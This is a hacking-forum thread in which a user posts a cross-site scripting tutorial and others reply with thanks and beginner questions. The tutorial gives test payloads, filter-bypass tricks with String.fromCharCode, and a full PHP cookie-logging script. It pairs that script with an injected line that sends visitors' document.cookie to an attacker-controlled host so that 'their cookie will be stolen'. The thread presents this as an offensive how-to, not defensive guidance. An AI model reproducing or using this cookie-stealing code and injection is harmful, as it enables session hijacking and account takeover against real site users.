Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Top Posters

Who's Online (1)

Powered by Vanilla. Made with Bootstrap.
  • undead
    Posts: 822
    XSS - Cross Site Scripting

    --[ How to find XSS vulnerabilities:

    Find something where you can submit text for example a textbox.
    Write this inside:
    <script>alert("XSS");</script>

    If the website is vulnerable it will alert a popup message saying "XSS".

    With XSS you can make a picture display on the page if you want:
    <IMG SRC="http://website.com/yourimage.png">

    Or you can open other websites:

    <script>window.open("http://www.google.com/")</script>

    Or redirect:

    <meta http-equiv="refresh" content="0;url=http://www.google.com/" />

    --[ Cookie Stealing:

    cookie.php
    ----------------------------------------
    <?php
    $ip = $_SERVER['REMOTE_ADDR'];
    $cookie = $_GET['cookie'];
    $referer = $_SERVER['HTTP_REFERER'];
    $browser = $_SERVER['HTTP_USER_AGENT'];
    $redirect = $_GET['redirect'];

    $data = "IP: " . $ip . "\n"
    ."Cookie: " . $cookie . "\n"
    ."Referrer: " . $referer . "\n"
    ."Browser: " . $browser . "\n\n";

    $log = "cookies.txt";
    @chmod($log, 0777);

    $f = fopen($log, 'a');
    fwrite($f, $data);
    fclose($f);

    @header("Location: $redirect");
    ?>
    ----------------------------------------

    Upload this file to your server and make a text file "cookies.txt".

    Now you must insert this code:

    document.location="http://www.site.com/cookie.php?c=" + document.cookie

    When the user visits the page that got injected their cookie will be stolen.

    --[ How to bypass filteration

    <script type=text/javascript>alert("XSS")</script>
    <script>alert("/XSS"/)</script>
    <script>alert("XSS");</script>
    <script>alert("XSS")</script>;

    This will alert a popup message saying "123" without using quotes:
    <script>var nextlive = 123; alert(nextlive)</script>

    Also you can use String.fromCharCode if you don't want to use quotes.

    http://www.asciitable.com/

    Find the decimal value of what you want to alert at the popup message.

    For example:

    <script>alert(String.fromCharCode(110, 101, 120, 116, 108, 105, 118, 101))</script>

    This will alert a popup message saying "nextlive".
  • Nice tutorial! Been getting into web hacking more. :P
  • undead
    Posts: 822
    Thanks. Glad you like it.
  • undead
    Posts: 822
    Thanks ;)
  • What do you mean by "where you can submit text to" example please
  • Xin
    Posts: 3,251
    Nice, you should make the headings bold its nicer to look at ;)
    Xin
  • undead
    Posts: 822
    said:


    Nice, you should make the headings bold its nicer to look at ;)



    Done ;)
  • mandi
    Posts: 207
    Thanks for the tutorial " nextlive",
    I am a Noob to Web-exploitation thhings,So can you clear my doubt on xss

    If i am having a site like this http://www.target.com

    How can i check the site for xss vulnerability,i mean i should enter like this



    http&#58;//www&#46;target&#46;com/&lt;script&gt;alert(\"XSS\");&lt;/script&gt;




    i am not sure the above format is correct 1 ,if possible try to help me out ,

    hope you will...
  • undead
    Posts: 822
    see here click at 'mirror'. Those are XSS vulnerabilities.
  • GameOver
    Posts: 675
    Nice share dude! Thanks.
  • said:


    see here click at 'mirror'. Those are XSS vulnerabilities.



    Never even knew of that site. Thanks for that! :P
  • yeah bro nice share :) here is my share
  • undead
    Posts: 822
    said:


    yeah bro nice share :) here is my share



    thanks :) and i know that site it's useful
  • It's really nice tuts...

    but can you make an example to write a file contain XSS (on localhost) and make ourtuts on it. plz :)
  • Xin
    Posts: 3,251
    said:


    It's really nice tuts...

    but can you make an example to write a file contain XSS (on localhost) and make ourtuts on it. plz :)



    I can make some tuts on it what is it exactly you want to know?
    Xin